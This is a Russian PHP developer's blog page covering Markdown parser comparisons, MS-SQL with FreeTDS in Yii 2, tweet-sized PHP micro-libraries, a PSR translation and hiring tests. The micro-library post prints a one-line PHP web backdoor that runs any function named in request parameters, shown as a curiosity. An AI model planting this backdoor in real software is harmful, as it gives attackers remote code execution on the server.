dotzero

↑ ↑ ↓ ↓ ← → ← → B A Start

Блеск и нищета Markdown парсеров

Когда на проекте потребовалось сделать поддержку Markdown-синтаксиса, я и представить себе не мог как все плохо с Markdown парсерами на PHP. А протестировав три из четырех популярных решений на Github’e, я убедился что все они работают корректно только на собственных, синтетических тестах. Оценивал подходимость библиотек исходя из следующих требований:

  • Скорость парсинга (бенчмарк);
  • Поддержка GitHub Flavored Markdown;
  • Легко расширяемый синтаксис;
  • Не строгий к разметке и допускать наличие в тексте кастомных html тегов.

erusev/parsedown

Самый быстрый и простой из протестированных, а исходный код содержится в единственном файле. Отсюда вытекает вторая проблема — отсутствие возможности наследования и переопределения некоторых базовых методов. С этой проблемой легко столкнуться при попытке решить первую проблему — несовместимость с некоторыми значениями mbstring.

cebe/markdown

Второй по скорости и стандарт де-факто в Yii 2, но чрезмерное увлечение автора рефлешенами не позволяет использовать GFM при некоторых настройках OPCache. Исправить это через наследование нет никакой возможности, а позиция автора принципиальная и менять архитектуру он не намерен.

michelf/php-markdown

Нет поддержки GitHub Flavored Markdown, так что сразу вычеркиваем.

kzykhys/ciconia

Медленная скорость работы и последний коммит от февраля 2014 года говорит о слабой заинтересованности автора в поддержке. Установке через composer тащит за собой кучу Symfony зависимостей, а не юзабельный автолинкер из GFM и большие проблемы при работе со списками делают его самой слабой библиотекой из трех.

Вот так при иллюзорной видимости выбора, по факту, выбора как такового нет. Для себя я выбрал все-таки parsedown, рефакторинг которого вызывает меньше головной боли в отличии от остальных.

Особенности работы с MS-SQL в Yii Framework 2

В очередной раз связавшись с взаимодействием Microsoft SQL Server и PHP, в том числе через Yii 2, наступил на пару граблей о которых хотел бы рассказать.

Установка кодировки UTF-8

Подключаясь к MS-SQL серверу напрямую через *PDO* невозможно поставить кодировку отличную от CP1251, а чтобы поставить UTF-8 лучше использовать прослойку FreeTDS, которая ставится на сервер и прозрачно проксирует все запросы на удаленный сервер. Стандартная установка в Debian/Ubuntu через apt-get:

apt-get install php5-sybase freetds-bin freetds-dev

Когда все установлено необходимо добавить в конфигурацию FreeTDS новую секцию с параметрами MS-SQL сервера:

[mssqlserver]
;   Если servername составной (10.10.0.1/production),
;   то необходимо разбить на host и instance
;   и не указывать port
host = 10.10.0.1
instance = production
client charset = UTF-8
tds version = 7.0
text size = 20971520

А в Yii 2 приложении строку подключения необходимо модифицировать, заменив адрес сервера на название секции из конфига FreeTDS. Например стандартный файл /config/db.php может иметь вид:

<?php

return [
    'class' => 'yii\db\Connection',
    'dsn' => 'dblib:host=mssqlserver;dbname=my_database',
    'username' => 'sa',
    'password' => 'superpass',
    'charset' => 'utf8',
];

Хранимые процедуры

С хранимыми процедурами MS-SQL не все так однозначно, и если они возвращают курсор, то в этом случае нет проблем и можно вызывать так:

$command = Yii::$app->db->createCommand('EXEC GetOrderInfo @guid=:orderguid');
$command->bindValue(':orderguid', '43b9f14e-4953-416a-a83e-6bb9e8cd0493');
$result = $command->queryAll();

Если же процедура (в примере ниже Proc2) возвращает int, то описанный выше метод не сработает и необходимо выкручиваться описывая курсор самостоятельно, используя такую конструкцию:

$command = Yii::$app->db->createCommand("EXEC ('
    DECLARE @result int;
    EXEC @result = Proc2;
    SELECT @result;
')");
$result = $command->queryScalar();

И наконец небольшой SQL запрос для тех хочет получить полный текст процедуры, а также получить список и тип входящих параметров, которые администратры MS-SQL серверов так не любят описывать в документации:

SELECT OBJECT_DEFINITION (OBJECT_ID(N'Proc2'))

Нано библиотеки на PHP

Всегда интересно смотреть как люди сами себе создают ограничения и потом в этих ограниченных условиях создают интересные архитектурные решения. Так например я решил собрать несколько примеров библиотек на PHP, каждая из которых умещается в один твит (140 символов).

Для начала стоит начать этот обзор с Twitto, от автора фреймворка Symphony, торжественно именующего себя — A web framework in a tweet.

require __DIR__.'/c.php';
if (!is_callable($c = @$_GET['c'] ?: function() { echo 'Woah!'; }))
  throw new Exception('Error');
$c();

Функционал его достаточно скуден, а потому стоит разнообразить его включением «полноценного» DI контейнера Twittee, от того же автора.

class Container {
  protected $s=array();
  function __set($k, $c) { $this->s[$k]=$c; }
  function __get($k) { return $this->s[$k]($this); }
}

Ну а какой фреймворк без роутера, который также помещается в один твит и называется µ (мю).

class µ{static function __callStatic($n,$a){static$r;$n==@_?@$r[getenv(REQUEST_METHOD).getenv(REQUEST_URI)]():$r[$n.$a[0]]=$a[1];}}

А теперь имея базовый набор можно разнообразить этот набор системой посылки и приема ивентов, которая также именуется греческой буквой алфавита (сигма).

function ∑($n,$c=0){static$r;is_callable($c)?$r[$n][]=$c:@array_walk($r[$n],'call_user_func',$c?:[]);}

А напоследок хотелось бы отклонится от темы разработки и написать о самом крошечном бекдоре, который я видел на PHP и который не использует eval(), хотя при этом обладает прекрасным широким функционалом.

@extract($_REQUEST);@die($exit_($exit_code));

PSR-0/1/2. Русская версия

PSR – это аббревиатура от Proposing a Standards Recommendation (предлагаемые рекомендации стандартов), которые были разработаны группой PHP Framework Interoperability Group, известная как PHP-FIG. В число участников поддерживающих стандарты входят такие известные проекты как : phpBB, PEAR, Doctrine, Composer, Propel, CakePHP, Symfony, phpDocumentor, Zend и т.д.

На данный момент принято четыре стандарта, три из которых я решил перевести на русский язык:

  • PSR-0 Обязательные требования, которые должны соблюдаться в автозагрузчике.
  • PSR-1 Основной стандарт написания кода.
  • PSR-2 Руководство Оформления Кода.

Перевод еще местами сыроват, поэтому буду рад любым правкам, исправлениям и дополнениям.

Hardcode

Прочитал сегодня две интересные заметки, первая от Ивана Сагалаева о найме инженеров-программистов, а вторая это смежная заметка от Sam‘а в его блоге, где он рассказывает о своем опыте как нанимателя, так и соискателя.

Поскольку я уже некоторое время занимаюсь проведением собеседований php программистов для достаточно простых, по меркам этих двух заметок, проектов, то как следствие сталкиваюсь с потоком намного менее квалифицированных соискателей, которые как правило либо не имеют опыта как такового, либо этот опыт оставляет желать лучшего. Помимо обязательного общения с HR-менеджером каждому из кандидатов предлагается пройти небольшой тест по результатам которого можно сделать первоначальное представление о соискателе, и решить стоит ли отвлекаться от основной работы для проведения беседы.

Тест действительно небольшой и не содержит вопросов с двойным дном, для кандидатов на должность junior программист это всего 10 вопросов, половина из которых это базовые вещи о языке на котором они пишут, а другая половина о MySQL. Для кандидатов на должность senior разработчик, хотя это громко сказано, этих вопросов в два раза больше. Ответы я получаю совершенно разные, но статистика не утешительная, больше половины кандидатов не могут ответить даже на них. Складывается впечатление что люди приходящие в веб студии думают, что можно вообще ничего не знать или знать на уровне пользования одной технологии или cms-системы.

В результатом просмотра большого количества тестов описанных выше я завел привычку делать фотографии некоторых ответов и выкладывать их в небольшой отдельный блог. Название выбрал соответствующее Hardcode.

hardcode.dotzero.ru